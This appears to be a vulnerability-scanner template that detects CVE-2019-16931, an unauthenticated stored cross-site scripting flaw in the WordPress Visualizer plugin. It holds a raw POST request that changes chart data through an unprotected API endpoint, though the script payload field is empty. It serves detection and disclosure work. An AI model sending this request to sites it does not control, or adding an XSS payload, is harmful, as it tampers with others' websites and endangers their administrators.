id: CVE-2019-16931 info: name: Visualizer < 3.3.1 - Stored Cross-Site Scripting (XSS) author: ritikchaddha severity: medium description: | By abusing a lack of access controls on the /wp-json/visualizer/v1/update-chart WP-JSON API endpoint, an attacker can arbitrarily modify meta data of an existing chart, and inject a XSS payload to be stored and later executed when an admin goes to edit the chart. reference: - https://wpscan.com/vulnerability/867e000d-d2f5-4d53-89b0-41d7d4163f44 - https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf - https://nvd.nist.gov/vuln/detail/CVE-2019-16931 - https://wpvulndb.com/vulnerabilities/9893 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2019-16931 cwe-id: CWE-79 metadata: verified: "true" tags: cve,cve2019,wp-plugin,wordpress,wp,xss,unauth requests: - raw: - | POST /wp-json/visualizer/v1/update-chart HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"id": 7, "visualizer-chart-type": ""} matchers-condition: and matchers: - type: word part: body words: - '{"success":"Chart updated"}' - type: word part: header words: - 'application/json' - type: status status: - 200